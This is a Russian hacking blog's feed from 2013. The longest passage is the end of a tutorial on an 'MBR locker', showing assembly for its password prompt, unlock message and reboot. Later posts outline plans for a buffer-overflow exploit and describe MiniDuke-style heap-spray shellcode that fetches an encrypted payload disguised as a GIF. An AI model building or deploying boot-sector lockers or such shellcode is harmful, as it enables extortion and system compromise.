&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
будем писать по такому то адресу)тут можно не объяснять)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp al,0x08&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;je bck&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp tst&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;bck:&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
нажали backspace? будем обрабатывать))иначе прыгаем на проверку ввода&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,3&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp dl,0x0D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jbe jboe&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
Начало строки? (ничего не введено- возврат каретки)- ничего не делаем&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,3&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dec dl&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
считали курсор-декрементируем позицию и устанавливаем курсор.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov al,&#39; &#39;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,0xA&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
записываем пробел.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dec di&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp jboe&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
устанавливаем курсор-и снова на ввод.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
это был только &quot;обработчик события&quot;) клавиши backspace&lt;/div&gt;
&lt;div&gt;
тут начинается проверка:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;tst:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp al,0x0D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jnz char&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
этнэр?-проверка разрешимых символов и вывод&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov si,psw&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov di,0x8000&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor ch,ch&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cl,6&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;repe cmpsb&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jz ent&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
сравниваем введенные символы по адресу с строкой по адресу.&lt;/div&gt;
&lt;div&gt;
И да да, начнется бугурт- типа пароль в открытом виде хули там его искать тыры-пыры- снова повторюсь-для наглядности, пароль можно зашифровать и расшифровывать на лету, можно заныкать в другой сектор, и т.д. и т.п.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
если ввели правильно (тут идет первые 6, то что мне кол-во впадлу было обрабатывать)&lt;/div&gt;
&lt;div&gt;
то переходим к процедуре возврата сектора.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;pushad&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov dx,0x170C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ax,0x0A20&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cx,80&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,0x13&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov al,1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bx,2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cx,5&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov dx,0x1800&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bp,err&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bh,bh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov dx,0x170D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;popad&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov di,0x8000&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp jboe&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
иначе-сохраним все базовые регистры, установим курсор в позицию, запишем 80 пробелов (так проще что бы не перерисовывать экран) и выдадим сообщение о ошибке, после чего отправим снова на ввод)))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Теперь будем проверять что бы юзвер не жмакал то что нам не угодно:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp al,&#39;0&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jc jboe&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp al,&#39;9&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;ja jboe&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;stosb&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,0x00E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;push di&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;pop di&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp jboe&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
буквы,символы етц- нахер. только цифры))&lt;/div&gt;
&lt;div&gt;
и пишем их на экранчике,снова и снова, и снова, и снова)))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
И ВОТ, такие моменты в исполнении Виктора Зангиева бывают очень опасны) (ладно что то я бушидо пересмотрел, не ну ,а что, сухое повествование тоже не кайф;))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
дошли до разблокировки:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;ent:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ax,03&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ax,0x1301&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bx,0xC&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cx,93&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor dx,dx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bp,yes&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor ax,ax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x16&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp 0xFFFF:0x0000&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
очищаем дисплей, пишем наше послание пользователю))&lt;br /&gt;
(перед прерыванием клавиатуры, понятно должна быть процедура восстановления оригинального mbr и передачи управления на него, но я это уже делал, так что мне лень, можно тут поискать в споте как это делается)&lt;br /&gt;
просим нажать что то и делаем програмный ребут (все еще ж в реальном режиме)))&lt;br /&gt;
&lt;br /&gt;
ну вот в общем то как бы и все))&lt;br /&gt;
&lt;br /&gt;
теперь можно поглазеть как это работает, да и к тому же как настроить борщ для более-менее вменяемой отладки) (эмулировал на флопаре, ибо суть не меняется вообще, а настраивать АТА как то не охота было))&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=U6IW7uq4BLE&quot; target=&quot;_blank&quot;&gt;видео&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Вот и сказочке конец господа.Через пару деньков поеду на морэ подъотдохну слегка, а потом продолжу копошиться с bios bootkit) да да такая интересная параша, nitin и vipin рулят))хотя еще покопошусь в коде wolfenstein 3D 1992 (кармак шикарный программер,у таких учиться надо,заодно по Сям подтянусь немножко) ну и в следующий, неизвестно когда раз, поговорим о восстановлении таблиц разделов из-за подлых mbr lock- ов.&lt;br /&gt;
&lt;br /&gt;
бай бай.&lt;br /&gt;
&lt;br /&gt;
PS: о стоп надо оставить немного музыки)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=GAiceRuLX1I&quot;&gt;http://www.youtube.com/watch?v=GAiceRuLX1I&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=KDwgQyJ_uzg&quot;&gt;http://www.youtube.com/watch?v=KDwgQyJ_uzg&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=Rgl_9ZVTQKk&quot;&gt;http://www.youtube.com/watch?v=Rgl_9ZVTQKk&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/4026182963773062926/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/08/mbr-lockera.html#comment-form' title='Комментарии: 6'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4026182963773062926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4026182963773062926'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/08/mbr-lockera.html' title='Станем хорошими или продолжение mbr locker&#39;a и обо всем-всем-всем)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38PfXNsMRpp5eeyEjzw7e7TjKXLJo1B3xAFtkdOGZkNWRCCo-Jbl-4E4b6PMywuJssZ2ZQtCatWUWXQvqvCYB0EUpx5lDncaRuY0aniKwdHj4Fv63_pn7-GILqqPwhAUOWwdctQanCcOh/s72-c/IMG_20130712_211429.jpg" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-3028330185016658009</id><published>2013-07-12T00:21:00.000+03:00</published><updated>2013-07-12T00:21:39.256+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Жизнь и всякая хрень"/><title type='text'>ЭТО ПОЛНАЯ ХРЕНЬ! (С)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
немножко попозже я приду,и, может быть, что то расскажу.&lt;br /&gt;
а пока я должен отдохнуть немного.4 дня.на фестивале хэлл еа!)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://img0.liveinternet.ru/images/attach/c/4/82/9/82009562_imgGuano_Apes1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://img0.liveinternet.ru/images/attach/c/4/82/9/82009562_imgGuano_Apes1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
u guys just blow my mind!)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/3028330185016658009/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/07/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3028330185016658009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3028330185016658009'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/07/blog-post.html' title='ЭТО ПОЛНАЯ ХРЕНЬ! (С)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-7939039488616159811</id><published>2013-06-27T15:53:00.002+03:00</published><updated>2013-06-27T15:54:11.361+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Заметки"/><title type='text'>загрузчик exe/First blood)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Первые шаги к написанию микроядра.Понятное дело,что пока этот кусок дерьма умеет работать только с fat12 и использовать только сервисы микросхемы bios. код пока не выкладываю в виду его полной ущербности;)&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMgIiF0ZB8CP5klvLxVdYl8zD-jYNR6rQ0oImNy4o1vBdXl4TSaAlfrqLoOzl82Tak3tnw3iwF_GP_PiRVFnEVA4PdpS7P0Y-E5QAx566iwr8iUUySDyEjUoA4QBf4m6ZWh8V-MyapM1e6/s1600/IMG_20130627_154510.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMgIiF0ZB8CP5klvLxVdYl8zD-jYNR6rQ0oImNy4o1vBdXl4TSaAlfrqLoOzl82Tak3tnw3iwF_GP_PiRVFnEVA4PdpS7P0Y-E5QAx566iwr8iUUySDyEjUoA4QBf4m6ZWh8V-MyapM1e6/s320/IMG_20130627_154510.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/7939039488616159811/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/06/exefirst-blood.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7939039488616159811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7939039488616159811'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/06/exefirst-blood.html' title='загрузчик exe/First blood)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMgIiF0ZB8CP5klvLxVdYl8zD-jYNR6rQ0oImNy4o1vBdXl4TSaAlfrqLoOzl82Tak3tnw3iwF_GP_PiRVFnEVA4PdpS7P0Y-E5QAx566iwr8iUUySDyEjUoA4QBf4m6ZWh8V-MyapM1e6/s72-c/IMG_20130627_154510.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-1182400084859334456</id><published>2013-06-07T01:52:00.002+03:00</published><updated>2013-06-07T01:53:07.205+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Статьи"/><title type='text'>вторая часть</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
я сделал вторую часть уже, но кинул на античате потому что давно ничего не писал.&lt;div&gt;
вот тут&amp;nbsp;&lt;a href=&quot;https://forum.antichat.ru/threadedpost3514657.html#post3514657&quot; target=&quot;_blank&quot;&gt;https://forum.antichat.ru/threadedpost3514657.html#post3514657&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
теперь не знаю сколько меня не будет еще из-за учебы. дальше по плану уязвимый сервер и эксплоит buffer overflow к нему;)&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/1182400084859334456/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/06/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/1182400084859334456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/1182400084859334456'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/06/blog-post.html' title='вторая часть'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-8176343180113380635</id><published>2013-05-05T17:02:00.001+03:00</published><updated>2013-05-07T14:33:45.027+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><title type='text'>hell yeah!)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Вот типа и я))).&lt;br /&gt;
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)&lt;br /&gt;
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.&lt;br /&gt;
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.&lt;/i&gt;&lt;br /&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
я не буду показывать технику хипспрей(как работает можно найти в тырнете,в целом не трудно) предположительно план таков:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
1)Напишем шеллкод (потому что хоть это у меня готово)&lt;/div&gt;
&lt;div&gt;
2)прокурим что это за тема такая &quot;стеганография&quot;&lt;/div&gt;
&lt;div&gt;
3)попробуем разобраться с переполнением на собственном примере&lt;/div&gt;
&lt;div&gt;
4)и попробуем сделать так что бы шеллкод исполнился в 3-пункте&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
// последние два пункта я не уверен еще ахаха)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
А пока начнем с шеллкода.&lt;/div&gt;
&lt;div&gt;
что это,как пишется и т.д. и т.п. довольна обширная тема, к прочтению советуется wasm и статья slesh&#39;a на античате.&lt;/div&gt;
&lt;div&gt;
я же скажу вкратце: шеллкод=базонезависимый код, прежде всего.&lt;/div&gt;
&lt;div&gt;
т.е. он должен работать например на линейке ОС windows с 2000 по 8 скажем, ну или как то так.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
